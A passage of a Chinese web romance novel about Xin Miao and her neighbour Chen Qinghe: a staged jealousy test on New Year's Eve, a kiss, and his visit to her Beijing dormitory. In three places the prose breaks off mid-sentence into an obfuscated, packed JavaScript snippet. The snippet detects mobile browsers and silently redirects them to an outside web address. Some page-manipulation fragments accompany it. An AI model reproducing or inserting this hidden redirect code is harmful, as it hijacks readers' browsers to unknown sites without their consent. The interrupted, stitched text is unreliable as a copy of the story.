辛苗抬起手捂住她的嘴:“打住!我不信你了,你别再忽悠我了。” 祝楠楠一噎,将她爪子拨开:“没忽悠你,这样吧,我用项上人头跟你担保,陈青禾如果对你没意思,我提头见你。” 辛苗:“……倒也不必。” 祝楠楠没理她,抱着枕头在床上打了个滚,嘴里念叨着“怎么就失败了”“这不科学”“到底哪里错了呢”。看上去比当事人还无法接受事实。滚了好几圈,她忽然一个鲤鱼打挺坐起来,“不行,我不信这个邪!” 辛苗哀怨脸:“然后呢?” 祝楠楠牙一咬:“这样吧,你听我的,试试他!” 辛苗:“……怎么试?” 祝楠楠眼睛咕噜一转:“你们两家明天一起守岁对吧,到时候我给你发微信,你就先……” 她噼里啪啦说了一大堆,辛苗听完,只觉得不是很靠谱:“能行吗?” “试试看呗,你有什么更好的办法吗?”祝楠楠问:“或者,你愿意接受现实,维持着你俩现在这种尴尬的关系也不是不行。” 辛苗抿着唇没说话。 祝楠楠说得对,她不甘心,更不想跟陈青禾这么不尴不尬的相处着……很难受,她怕他们会在这种默不作声中渐行渐远,这比表白失败本身还要另她难受一万倍。 - 眨眼到了除夕夜,千家万户团圆时。 今年市政供暖很给力,房里暖烘烘的,热得人直冒汗。老辛家窗户大开着,往里看去,客厅摆着那张只有逢年过节才会搬出来的大圆桌,桌上摆着丰盛的年夜饭,两家五口人围坐在旁边,热热闹闹的。 电视上放着春节晚会,正好演着小品,表演者不再是以前的熟面孔,一眼看去没几个认识的,节目也蛮枯燥,没甚意思。不过也没人看电视,只是开着听个响,酒足饭饱后,大家坐着有一搭没一搭的聊着天。 辛苗耳朵听着大人们话家常,眼睛却紧紧盯着放在一桌面上的手机。不一会儿,漆黑的屏幕骤然亮起,震动声在木桌板上显得格外清晰。 辛苗抬头瞥了一眼,坐在她旁边的陈青禾像是没听见动静似的,眼睛眨也不眨的看着电视……也不知道这无趣的小品到底有哪一点吸引到了他。 辛苗腹诽两句,拿过手机点开。 果不其然,是祝楠楠发来的微信。 祝楠楠:【怎么样?吃完了吗?】 辛苗:【完了。】 祝楠楠:【他在你旁边坐着?】 辛苗:【嗯,挨着。】 祝楠楠:【ok,五分钟后我开始轰炸你,记得我跟你说的,注意别露陷了啊!】 辛苗还有点犹豫:【……这样好吗?】 祝楠楠:【不然你还有别的办法?】 祝楠楠:【别磨叽,记得把我备注改成一眼就能看出是个男性的备注,还有,手机铃声调大点!】 辛苗:【好的。】 她依言将手机铃声调大,又将祝楠楠的微信备注改成了“学长”,咬了咬唇,放在她跟陈青禾之间的桌面上。做完这一切,辛苗缩回手,掌心在衣边上搓了搓……紧张的都出汗了。 五分钟后,桌面上的手机“叮咚”一声响,声音超大,成功吸引了桌上的所有人。 赵锦华跟方蕊聊得正高兴,听见动静往过扫了一眼,没当回事,转头就继续自己的话题。其他两个大人也是,就看了一眼,又继续忙活着聊天去了。 辛苗心虚的攥起手,偷偷瞥了眼边上的人——陈青禾眼皮垂着,视线定在她亮起的手机界面上,表情阴翳,眸色晦暗不明。 辛苗顿时一凛,心口像是被一只手揪了起来,悬在那里不上不下的。只不过还不等她深究,手机就又叮叮咚咚响了起来。 “学长”本人特别入戏,屏幕上依次闪过如下信息: 【在吗?】 【苗苗,新年快乐。】 【你想我吗?】 【我想你了。】 【好想见到你。】 【亲爱的~】 辛苗:“…………” 她被祝楠楠这一手操作雷得里嫩外焦,整个人跟烧着了似的,从额头到手指尖红了个彻底。 饶是如此,她第一反应却不忘看向旁边的陈青禾。 却见他收起视线,转而看向了不远处的电视屏幕,臂肘放在桌面上,两手交叠握拳抵在唇上,刚好遮住了下半张脸。从辛苗的角度,只能看见他锋利压抑的眉眼,和紧紧绷着的下巴……这一切都无声召示着他此刻并不算愉悦的心情。 手机还在桌上叮咚乱响着,辛苗却已经没了继续下去的心思。她慌乱地拿起电话,又慌乱地站起身,顾不上说什么,握着手机匆匆忙忙回了自己卧室,顺带反手关上了房门。力道没控制住,老旧的房门发出“砰”一声响,震得客厅里剩下的人都往过看。 半晌,辛建强问道:“苗苗这是怎么了?着急忙慌干什么去?” 赵锦华拧着眉说:“谁知道你闺女怎么了,手机在桌上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这个问题陈青禾并没有回答。 他失去了以往的礼貌与客气,头一次对长辈的话置若罔闻。他站起身,板凳被她带得往后滑了一截儿,跟瓷砖蹭出一道尖锐的声响,陈青禾两腮的肌肉随之收缩了一下。 “辛叔,抱歉,我有点不舒服。”他说,脸色乌沉沉的,像是强行忍耐着什么:“妈,赵姨,我先回去了。” 说完,甚至没有等长辈反应过来,便自顾自离了席。 入户门打开又关上,外头的冷气抓住着一瞬间的功夫争先恐后的往里钻。 辛建强被这股冷风一吹,酒劲儿上了头,整个人都有些晕乎:“青禾这是怎么了?” 方蕊扯出一抹笑:“没事,我们聊我们的,不管他。” 赵锦华却隐隐有了几分猜测,却不好明说,气得翻了个白眼,伸出手在辛建强胳膊上狠掐了把! 让你没眼色! …… 等辛苗从卧室里出来的时候,第一眼就发现陈青禾没在了,而且桌上的氛围有点怪怪的。 她刚才跟祝楠楠掰扯了半天,终于说服她放弃这个不靠谱的试探方式了,连备注也一并给她改了回来。无它,她不想骗人,也不想再用这种方式试探他了……在察觉到他心情不好的那一瞬间,她就心软了。 辛苗坐回了自己位置上,问道:“陈青禾呢?怎么不见了?” “青禾他不舒服,先回去了。”方蕊说完,看见辛苗蹙起的小山眉,便又朝她笑了笑:“没事,不用担心,他自己可以照顾自己。” 辛苗:“……” 她原本只是担心,听方蕊这么一说,顿时脑补出了画面。 大年夜,不舒服,一个待在冷冰冰的房间里没人管…… 辛苗唰一下站起身,“要不,我还是去隔壁看看他吧。” 60. 第 60 章 辛苗关上入户门,站在走廊上冷静了好一阵。 夜风瑟瑟,她身上只穿着毛衣,好不容易积攒起来的温度被风一吹,顷刻间消失的无影无踪,没过几分钟,鼻尖就有些冻麻了。 她深吸一口气,曲起手指刚准备敲门,却瞧见本该严丝合缝入户门没关住,敞开着一道微小的缝隙。 辛苗迟疑了两秒,推开房门走了进去。 屋里没开灯,一片漆黑。 辛苗停下脚步等了会儿,等眼睛适应了这片黑暗之后,才往四周扫了一眼……客厅没人,唯二能坐人的沙发和饭桌都空着,显然陈青禾不在这里。 辛苗抿了抿唇,直直往他卧室走去。 里面依旧黑着,不同的是陈青禾卧室的窗户正对着走廊,廊下的灯亮着,老旧的灯泡发出昏黄的光,从玻璃窗透进来,成了屋子里唯一的光源。 辛苗借着这点微弱的光线,一眼看见了陈青禾。 他就坐在窗下的写字台前,背对着房门,头微垂着,两手放在桌上,指尖像是捏着什么东西正在把玩着。听见动静,他背脊稍稍一僵,随即又松懈下来,整个过程都没有转过身看一眼。 辛苗被他的反应弄得心里有点没底。在卧室门口杵了好一会儿,她一咬牙,往里连跨了好几步,最终站定在距离他身后半米远的地方。 辛苗清清嗓子,特意换上了副轻快的语调:“陈青禾,你在干嘛?怎么不开灯?” “没干嘛。”顿了几秒,陈青禾开口,声音莫名有些冷淡。他将手里的东西放到了一边,似是随口问道:“电话打完了?” “嗯。”辛苗应了声,声音小小的,掩饰不住地心虚。 她撒了慌,有些不太敢直视陈青禾,视线在空里乱飘着。飘来飘去,便飘到了陈青禾的手边。只见那里安静坐着一只折纸青蛙,嘴巴刚好抵在他食指指尖位置,看上去就像是他用手在逗弄着它。 辛苗觉得那纸青蛙有点眼熟,一时却也没想起来在哪里见过……话说回来,陈青禾并不像是会折纸玩儿的人,这一幕很是反常。 辛苗有些无措,大脑像是被刚才的冷风吹得冻住了一般,半天运转不动。她沉默着不知道该说什么,只下意识舔了舔有些干涩的嘴唇。 还是陈青禾率先问起:“找我有事?” 辛苗回过神,忙道:“哦,就是听说你不舒服,我有点不放心,就过来看看。” 闻言,陈青禾侧过身看她了一眼,很快又收回视线。 房间里始终沉浸在黑暗中,他们彼此都看不真清楚对方,只听见陈青禾用他那平静疏离的语调说:“看到了,你可以走了。” “你赶我?”辛苗整个人僵住,错愕的瞪大了眼睛。她仿佛听到了一件极其荒诞的事情,如遭雷击,令她难以置信。 刚认识的时候不算,这么些年来,陈青禾什么时候赶过她?哪怕她在他家里赖得再怎么晚,他再怎么觉得烦,也从来没说过“你走”之类的措辞。 辛苗顿时不干了,那点儿心虚瞬间消失的无影无踪。她瘪起嘴,跟他作对似的,不仅没走,还又上前一步,后腰靠在了写字台上边上,维持着跟他面对面姿势。 她站着,陈青禾坐着。 她低头,陈青禾正好仰起头。 黑暗混沌的屋子里,视线不期然的在空中撞上,这次,谁都没躲。 辛苗咬了咬唇,问:“刚才不是好好的,怎么就不舒服了?” 陈青禾说:“嗯,突然觉得。” 辛苗又问:“什么症状?” 陈青禾说:“头疼。” 辛苗继续追问:“好端端为什么会头疼?” 陈青禾默了几秒,笑了,嘲讽一般反问:“你是真不知道?” 辛苗怔住,诚实道:“不知道。” 陈青禾没再说话,一言不发的看着她,仗着夜色的掩映,肆无忌惮。如刀般锋利的视线刮过她的眉眼、鼻梁、最终定格在唇畔上。时间在静谧中一分一秒地渐渐流逝着,良久,他率先挪开了眼。 如果灯亮着,如果辛苗看得清,那么她就会看见陈青禾紧蹙着的眉心,泛红的眼底,和因为竭力克制而青筋乍起的太阳穴。但没有如果,屋里黑蒙蒙的,她什么都看不清。 辛苗歪着头追问:“你怎么不说话了?” 陈青禾呼吸滚烫,问她:“好玩吗?” 辛苗茫然:“什么?” 陈青禾:“谈恋爱,好玩吗?” 辛苗心脏顿时一凛,那种撒谎被抓包的心虚又卷土重来了。偏偏她是自作孽,哭都没地儿哭,只能硬着头皮往下道:“还……还行吧。” 这个答案让陈青禾喉间梗了下。垂在身侧的左手紧握,小拇指关节因为过于用力而发出“咔嗒”一声响,声音微弱,在两相对峙的紧迫时刻,毫不意外的被忽略。 然后,他自虐一般,又问:“你很喜欢他?” 辛苗继续瞎编:“嗯……算是吧。” 陈青禾又沉默了下来。他垂眸,看着桌上的纸青蛙,半晌,指尖在蛙背上轻点了一下,画着卷翘睫毛的纸青蛙便向前跳了一小格。见状,他笑了下,喉结滚动几番,再开口时,声音变得莫名的沙哑。 “嗯,有了喜欢的人,就好好喜欢他。跟我这种普通朋友,最好还是保持一些距离,这样对大家都好。” 话音落下,辛苗怔住。她整个人仿佛被雷劈了一样,僵硬地站在原地一动不动。陈青禾的话就像是被按了重复键,来来回回在她耳边循环播放着,辛苗脑袋是懵的,但身体的本能反应却无法违抗,她几乎控制不住的指尖发着颤,连带着一股酸涩冲上鼻腔,很快,水汽就莹满了眼底。 辛苗深吸一口气,竭力控制着不让眼泪掉下来。她试图凭借着所剩不多的理智去思考当下的情况……但是不行。她没有办法理智,只知道陈青禾要跟她“保持距离”。 保持个屁的距离! 这不就是要绝交的意思吗? 辛苗委屈死了,从跨年夜那天开始一直到今天,她整个人变得完全不像她自己。一遇到跟陈青禾有关系的事,就别别扭扭,思前想后,几番顾虑……她以前从来不这样的!这也就算了,她一个人彷徨、无措、试探、摸索,折腾了这么久,到头来俩人之间的关系还没先理清,就已经等来了他要跟她绝交! 辛苗死死咬住下唇,好半晌,等到鼻腔那股酸劲儿褪去了些,才敢开口问他:“陈青禾,你什么意思?”声音带着明显的哭腔,颤抖着,可怜巴巴的。 陈青禾无法自抑地心软了一瞬。 紧接着,却用更冷的语气道:“你听不懂吗?” 辛苗抬手在眼角抹了一把:“不懂,所以你最好把话说明白。” 陈青禾两腮肌肉紧绷,用超出寻常的克制力一字一句跟她解释:“辛苗,我没有要插足别人感情的想法,所以从今往后,你谈你的恋爱,我过我的生活,我们各自保持距离,互不打扰。行吗?” 辛苗的回答却只有两个字:“我、不!” 陈青禾不是很明白她这股莫名其妙的轴劲儿是哪里来的,为什么偏偏在此刻,在他几乎无法压抑本性中所有的偏执、阴暗和私欲的时候,她毫不退让,执拗的只想留在他身边。 夜色中,陈青禾的瞳孔像是浸了墨汁一般,在浓稠不见底的污黑当中,却又隐隐闪着零星的光。他目光仿佛带着刺,眨也不眨的扎在辛苗身上,像极了一只肉食动物锁定住他的猎物一般。 “你确定?不后悔?”陈青禾声音奇异的平静了下来。 “后悔什么?”辛苗反问道。但她实质上是有些心慌的。夜色遮蔽了她大半的视觉,人在看不见的情况下,其余感官会自动放大数倍。辛苗敏锐的察觉到了一丝危险的气息,但她并不相信陈青禾会做伤害她的事。因而,她丝毫不怯,梗着脖子道:“你要干嘛?揍我吗?你少吓唬人了,你才不会……” 话刚说到一半,戛然而止。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13233575|130746||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黑沉沉的房间仿佛被隔绝在了世界之外,除夕的喧嚣声被按下静音键,时间定格,周遭的空气也停止流通。辛苗什么都感觉不到了,除了按在她脖颈上那只大而有力的手,和嘴唇上炙热干燥的触感。 她一双杏眼因为极致的惊讶而瞪得大大的,借着外头惨淡昏黄的光,她看清了眼前的人——少年双眸微闭着,长而直的睫毛轻轻颤动着。彼此之间的距离被无限拉近,她甚至能感觉到,他呼吸之间带来的气流拂过她的脸颊,是独属于陈青禾干净又清爽的气息。 他在吻我。 辛苗后知后觉的想到。 然而不等她在继续深想,原本单纯贴着她唇的人却动了。压着她后颈的那只手又用上了几分力道,随之一起的,是陈青禾高高仰起的脖颈也不自觉地往上抬了抬。 他是生涩的。从小成绩优异除了读书和运动再无其他爱好的少年在这方面的经验如同一张白纸。辛苗好歹还经历过偶像剧和言情小说的熏陶,但陈青禾却连这点纸上谈兵的经验也无,他近乎是凭借着自己的本能在摸索着。 少年干燥的唇紧紧贴着她的,少倾,似是不甚满足,稍稍分开了些,半秒钟的功夫,不等辛苗反应,再度贴了上来,狠狠地碾磨着她的嘴唇。 辛苗被他弄得有些疼,下意识的张开唇畔倒抽了口凉气,下一秒,他的舌尖便抵上那丝缝隙。寻到了更深处的去路,少年无师自通般,开始攻城掠池。扣着辛苗后颈的手力道又大了几分,辛苗被压得近乎整个上半身都陷进了他的怀里。 这是个真正意义上的吻。 与片刻之前的截然不同,它凶猛、蛮横、且充满了侵略性。 直到辛苗喘不上气来,对方才大发慈悲的松开了她。 辛苗第一反应就是直起身往后退了两步。 她脖子疼,腰也疼,脑袋更是懵的。 陈青禾却被她的反应狠狠刺痛了。 可他并不后悔,相反,他甚至觉得刚才不应该那么轻易的放过她,哪怕她会怕,会恨,很厌恶……随便吧,都随她,左右不过再被抛弃一次,那种感觉他熟。 唇边还残存着她清甜的味道,这种感觉让他迷恋。 陈青禾站起身,逼近两步,唇角挑起肆意的弧度。在这漆黑的房间里,所有的伪装都被统统撕碎,他仿佛变成了另一个人,一个与平日里截然不同的人。 他不再克制,不再淡漠,不再维持周围人眼中高智自矜的形象。此刻他是绝望的,那种看着自己费心守护了多年,小心翼翼、精心呵护着的珍宝被自己亲手推开、弄碎的绝望。 不仅如此,他还近乎自残一般,明知故问:“这下呢?后悔没走了吗?” 话落,下意识放轻了呼吸,既怕听到预想中的那个答案,又卑微的希冀着她能大度一些,看在他们多年情谊的份上,宽宥他。 可两种都不是。 辛苗站在那儿,身前是陈青禾,身后是陈青禾的床,她被挡在二者中间,避都没地方避开。但辛苗也没想走,她一手揪着毛衣边向下拽,手心里汗涔涔的,明明怂得要死,却仗着周围黑灯瞎火,陈青禾瞧不见她脸上的表情,生生鼓起了一种莫名其妙的胆量来。 “就、就这?”辛苗打了下磕绊,差点咬到自己。 陈青禾猝不及防的怔住:“什么?” 辛苗哼了一声:“那我也会。” 陈青禾不解,拧眉看她。 下一秒,偌大的冲击力从正前方直直撞进了他怀里,来人一副不管不顾豁出去的架势,蛮横地伸出手臂圈住了他的脖子。辛苗不给他半点儿反应的机会,凭借着刚才新鲜的经验,嘴巴直直撞了上去。 “咚”一声响,两人齐齐闷哼了声。 血腥气在交缠紧贴的唇齿间弥散了开来,分不清究竟是谁的。 墙那边,两家父母围坐在桌前,边看着春晚边聊着天。 一墙之隔,晦暗的房间里,他们紧紧拥抱在一起,肆无忌惮的接着吻。 61. 第 61 章 I’m 年初一早上,辛苗是被敲门声叫醒的。 辛建强没进来,隔着卧室门冲里面喊道:“苗苗快起来,等会要去串门子!” 辛苗睁开惺忪的睡眼,打了个哈欠,不急不慢地应了声:“起~来~了~” “真懂事。”辛建强随口一夸,跑去厨房帮着媳妇做早饭了。 殊不知,懂事的辛苗说归说,人压根就没动弹。 她躺在床上,瞪大眼睛看着头顶白茫茫的天花板。人刚睡醒,脑子都慢了半拍,缓了好一会儿,昨天的记忆才一点一点的浮现出来。 昏暗的房间,沉闷的呼吸,陈青禾身上灼热的温度和潮湿的亲吻…… 辛苗整个人肉眼可见从脖颈到脸颊一点点变红,她默默地扯起被子盖住了脸,以一种诡异的姿势在被窝里扭动了好一阵,直到整个人快要透不过气来,才一个鲤鱼打挺,直直的坐了起来。 她整个人都是傻的。 昨天在夜色掩映下极速膨胀的胆量就像是一个气球,天一亮就被无情地戳破,漏气了。辛苗现在满脑子只有一件事—— 昨天,她和陈青禾,接吻了。 先是陈青禾亲得她。 然后,她又不服气,主动亲了陈青禾。 再然后,她就跑了。 两人的嘴唇才刚分开,话都没说一句,甚至连气都没喘匀,她就撒丫子跑了。那架势,活像是欺辱了良家少男之后畏罪潜逃似的。 完了完了完了。 她在陈青禾心里天真纯洁可爱乖巧的形象这下怕是塌的连渣都不剩了…… 辛苗整个人都麻木了。 但没等她麻太久,卧室门就被人从外头一把掀开。赵锦华手里拿着锅铲直直地指过来:“大年初一就给我赖床?还不快起来!” 辛苗打了个哆嗦,整个人瞬间回神。 她看着赵锦华女士威严的表情,心下警铃一响,再也顾不得其他,麻溜儿翻身下床:“起起起!我这就起!” 等辛苗匆匆洗漱完吃过早饭,一家人就该去拜年了。 全国大多数地方都有年初一拜年的习俗,大人小孩穿上新衣服,一起去东家坐坐,西家聊聊,把这一个年头没能说上的话都给带到。临走时候,长辈再给小孩子们一人塞一个大红包,在小孩子们喜气洋洋的祝福声中将人送走。 老辛家在这边亲戚不算太多,半天时间就能走完。跟往年一样,他们第一个去的就是隔壁陈青禾家。唯一不同的,辛苗原来都是冲在最前头,今年却不知道怎么回事,愣是缩到最后面,跟个鹌鹑似的,拽都拽不前去。 方蕊开得门,将他们迎了进去。 一家三口排排坐在沙发上,辛苗缩在最边边。哪怕昨天晚上还聊到了大半夜,今天三个大人又能重新找到新的话题,再度开启一轮新的聊天。 辛苗全然顾不上听他们在说什么,她塌着肩膀,把自己藏在赵锦华身后,两只眼睛却追着陈青禾的身影。 只见他身上还穿着昨天那件浅灰色毛衣,领口地方有点变形,向下微敞着,隐隐露出右侧凸起的锁骨……大概是昨天被扯成这样的。 他从厨房出来,手里端着果盘,里面放着洗好的水果。他弯腰将其放在茶几上,起身的那一瞬间,视线从辛苗脸上扫过,驻足,很快又移开。整个过程只有短暂的几秒钟,一触即分。 “辛叔,赵姨,吃点水果。”陈青禾站在边上,又变成了往常那副谦和有礼的模样,待人接物挑不出一丝错来。 他沉静而淡漠,端方且自持,单单站在那里,就让人无法将狠戾、崩溃、歇斯底里这种负面词汇与他联系到一起。他跟昨天夜里判若两人。 辛苗一时间有种错觉——她记忆中的那些,是真实发生过的吗?还是,只是她一个人的错觉? 不过很快,辛苗就不这么想了。 辛建强拿起果盘里的一颗砂糖橘剥开塞进嘴里,目光忽得顿住,紧接着语带关心问起:“诶,青禾嘴怎么了?昨晚上不还是好好的嘛。” 辛苗:“……” 好了,不是梦。 她连呼吸都不敢了,摒着气看向她爹,再看向旁边坐着的她母亲,顺带扫过另一旁坐着的陈青禾他母亲……结果三个大人无比默契的都看着陈青禾。 辛苗深吸一口气,颤颤巍巍的一并看了过去。 陈青禾不愧是陈青禾,仍旧是那副雷打不动的淡然模样。闻言,他眼眸微垂,一只手在下唇已经结了痂的小伤口上轻轻碰了碰。整个过程面不改色,气定神闲,唯独那双乌沉沉的眸子落在了辛苗身上。 他明明沉默着,但眼睛却好像在诉说着答案。 不过短暂一瞬后,陈青禾便收回了视线。 他垂手,语气淡淡道:“不小心被…咬了一下。” 不知是有意还是无意,辛苗总觉得他在说那个“被”字的时候,空上了一拍,像是隐去了原本该有的某个内容,意味深长的在暗示着什么。 辛苗越发地做贼心虚,后背起了一层冷汗。 胸腔里像是揣了一只兔子,就快要从嗓子眼里蹦了出来。她下意识抿住唇,低下头,一句话都不敢说。 “这样啊,哎呦吃东西还是要小心。”辛建强乐呵呵地嘱咐道,紧接着矛头一转:“闺女,屋里很热吗?你脸怎么那么红?” 辛苗:“…………” 她从没有一刻觉得她亲爹话这么多。 “有点。”辛苗挤出来一句,她抬起头,欲盖弥彰的伸出手掌在旁边扇了扇,“今年供暖很给力啊!” “那我去把窗户打开吧。”方蕊笑说。 辛苗连忙摆手:“不用不用,阿姨不麻烦了。” 赵锦华也道:“方蕊你别管她,我们坐一会就走了。” 他们后面还有好几家要去拜访,时间紧凑,确实坐不了太久。几分钟后,一家三口就起身往外走了。方蕊从身上掏出来一个提前封好的大红包塞给了辛苗。辛苗说了句“谢谢阿姨”,也没推拒,大大方方的收下了。 这么些年两家一直如此,方蕊给辛苗,辛建强和赵锦华给陈青禾。钱从左手换到右手,不赚也不赔,关键是图个喜庆。 临出门前,辛苗没忍住,又偷偷瞥了眼陈青禾。 他站在门边,眉眼低垂,看上去像是在出神。 大人们都在笑,互相说着吉祥话,辛苗尽管注意力没在这块,脸上也是笑着的。唯独陈青禾不。他清清冷冷的站在那儿,没什么表情,跟周围的所有人都不一样,与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13250259|130746||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这喜庆祥和的新年看上去也格格不入。 辛苗不清楚他在想什么。 事实上,陈青禾如果不主动说的话,她永远都猜不到他的真实想法。 这个认知让辛苗有些失落。 直到出了院门,她都还心不在焉。 赵锦华发现她不对劲,直问:“辛苗,你是不是跟青禾吵架了?” 辛苗回过神:“没有啊。” 赵锦华却不信,“那刚怎么不见你俩说话?” 辛苗自己也郁闷:“我不知道。” 她自己是因为怂,陈青禾却不知道是为什么。 赵锦华还想再说什么,却被辛建强拉着手臂制止了。夫妻两人暗自交换了一个眼神,再开口时,问话的人变成了辛建强。 “苗苗,爸问你个事,你得说实话哈。” “啥事?” “你是不是谈恋爱了?” “哈?”辛苗一愣,很快便反应过来是怎么回事了。她龇牙,只觉得自己是脑子抽了才会跟祝楠楠想出这么一个办法来,简直跟抱起石头砸自己脚没什么区别。她摸了摸鼻子:“我没谈。” “那你昨天晚上手机叮叮咚咚怎么回事?大过年谁给你发消息?” “祝楠楠发的。她想开学前去北京玩,让我早走几天,陪她一起……我俩昨晚上说这事来着。”辛苗半真半假地说。她也没算骗人,那天在祝楠楠家确实是有商量过这件事。 “真的?” “真的,时间一定立马就买高铁票。” 辛苗信誓旦旦。 辛建强不知道信了没信,总之不再继续问了。三个人一齐往巷子里,下一家他们要去一个伯伯家,住在巷子最里头,走过去得一阵子,一路上还遇见不少邻居,大家拱着手你祝我我祝你的,好不热闹。 又跟一个面熟的邻居打完招呼,辛建强转回身,无缝衔接起方才的话题:“我跟你妈还以为你谈恋爱了,跟哪个男同学聊天来着。我还专门问了青禾,他说不知道。我还想着你俩平常不是无话不谈么?弄了半天是我想多了,哈哈。” 辛苗听完差点原地跳起来,“你昨晚上问陈青禾了?!” 辛建强不明所以的点了点头:“问了句,怎么了?” 辛苗傻眼着,不知道该说什么。 昨晚一切的反常都有了解释。 难怪陈青禾突然一个人回了自己家,难怪他莫名其妙问她谈恋爱好玩吗,难怪他突然要跟她保持距离,还要赶她走。 搞了半天,祝楠楠的馊主意竟然歪打正着起了作用,陈青禾以为她真的有了个“学长”男朋友! 所以,他反常是因为他吃醋了,嫉妒了。 原来,陈青禾是真的喜欢她的。 陈青禾,喜欢,辛苗。 嘿嘿。 辛苗此刻就像一只被卡住了脖子的尖叫鸡,她想大喊,想跳起来,想跑回去跑到陈青禾面前跟他说“你别装了,喜欢我就直说啊喂”! 但是她不敢。她亲爹亲妈就在旁边站着。 明明心里已经在排山倒海了,辛苗面上却不得不装出一副无事发生的样子。她深吸一口气,在她爸妈疑惑的注视下,傻笑着咧开嘴:“没事啊~I’mok~” 62. 第 62 章 辛苗最终还是没能跑到陈青禾面前跟他摊牌。 年初一晚上,方蕊接到很久不联系的娘家亲戚的电话,然后匆匆收拾了行李,跟陈青禾连夜坐上了回去的火车。 临走之前,只来得及跟赵锦华说有急事要回家一趟,具体的也没细说,更没提什么时候回来。辛苗当时不在家,等她知道的时候隔壁已经没人了,她本想发微信问一下陈青禾,点开对话框,却半天不知道该从何说起,最后又徒然的退了出来。 一直到年初八,陈青禾仍旧没回筒子楼。他就像是凭空消失了一般,杳无音讯。辛苗有些失落,最后实在没忍住,试探着给他发了一条微信消息,问他什么时候能回来。然而却跟石沉大海似的,没个音讯。 辛苗无比茫然,却也束手无策,只能带着这种憋屈的心情,跟祝楠楠一起,提前出发去了北京。 师大宿舍楼寒假封闭着,要等到正月十五返校前才准许学生进去。辛苗原本计划让祝楠楠住她宿舍,俩人挤一张床上,安全又省钱,这么一来也就泡汤了,俩人只能在附近找上一间快捷酒店住着。 祝楠楠买了正月十四去学校的车票,专门为旅游留了将近一周的时间。辛苗在北京待了一个学期,平时除了上课就是到周围吃个饭,也没怎么去各大景点逛过,与其说是她带着祝楠楠玩北京城,还不如说她俩一起按照网上的攻略瞎晃悠。 六天时间,她俩去了天安门看升旗,国博看展,逛了故宫,爬了景山公园。随后又去了长城,俩人在上面被冻得一边流大鼻涕,一边嘻嘻哈哈拍了好多照片。长城回来,休息了一晚上,又挨个去了天坛,圆明园,和南锣鼓巷一众景区,强度堪比特种兵拉练。 等到最后一天的时候,两人都成了一副半死不活的样子。辛苗平常几乎是不锻炼的,这六天下来,平均每天三万步,她两条腿都快累断了,根本无暇去想别的事情。 祝楠楠是当天下午五点半的火车票,辛苗将行李寄存在酒店前台,先将她送去了火车站,眼瞅着她顺利过了安检进了站,才又折返回酒店,取了自己的行李箱,一路拖着往学校走。 师大公告上要求学生正月十六返校,十八正式开课,但元宵当天,学校就已经有不少人提前回来了。 辛苗走到校门口的时候,正巧遇见了同专业大二的学长。辛苗跟他并不算熟,但这位学长跟李欣悦在学生会的同个部门,之前聚餐时候李欣悦带她去了,大家坐在一个桌子上吃得饭,也算是认识。 学长两手空空,见到辛苗一个人拎着28寸的大行李箱艰难走着,就好意从她手中夺过拉杆,替她拉着行李。两人沿着大路往宿舍楼下走,刚开始还没话找话硬聊,一来二去的,慢慢聊熟了,氛围也轻松了不少。 师大的男生宿舍楼在女生宿舍楼后面几排,回去时候得经过这边。因着顺路,学长直接帮着把行李箱一路拉到了辛苗宿舍楼底下。 道别的时候,辛苗颇为不好意地朝他笑了笑,连说好几声“谢谢”“麻烦你了”之类的客套话。学长本人也很绅士,忙笑着说让她别客气。 出于礼貌,辛苗一直站在宿舍楼下目送着学长离开后,才拉着箱子准备上楼。 这本来是很正常的一幕,但在不明真相的陈青禾眼里,就不是那么回事了。 他站在宿舍楼旁的树底下,半边身子被树干挡住,虽然已经过了春节,但还没到立春,天黑的照样早,这个点儿已经暗了大半。辛苗并没有第一时间发现他,直到陈青禾叫她的名字。 “辛苗。” 辛苗回过头时,神色明显是错愕的。她没想到会在自己宿舍楼下看见他。两人断联了一个多礼拜,她没收到过他任何一条信息,更没想到他会直接过来找她。 辛苗怔了片刻,将行李箱放到一旁的墙根底下,朝他走过去。 “你怎么来了?”她问。 “找你。”陈青禾说。 他眉头拧着,一脸倦意,看上去状态并不怎么好。 辛苗还在记着他断联的事,心里拱着火,语气刻意放得冷冷的:“哦,有事吗?” 陈青禾却并未答话。 他定定地看着辛苗,目光从上到下,一寸一寸,将她度量了好几个来回,像是在探究眼前的这个人到底是不是她。半晌,眼皮阖住,又睁开,问:“他就是你那位‘学长’?” 辛苗觉得他这句话有点怪怪的。 学长就学长,“那位”是什么意思? 她全然忘记了除夕夜给祝楠楠改备注的那码事了。 辛苗心不在焉地点了点头:“嗯,怎么了?” 话音落下,不知道是不是错觉,陈青禾脸色又难看了几分。 天色越来越沉,到了某个被设定好的时刻,路灯骤然亮起,暗黄色的光映在地面上,聊胜于无。 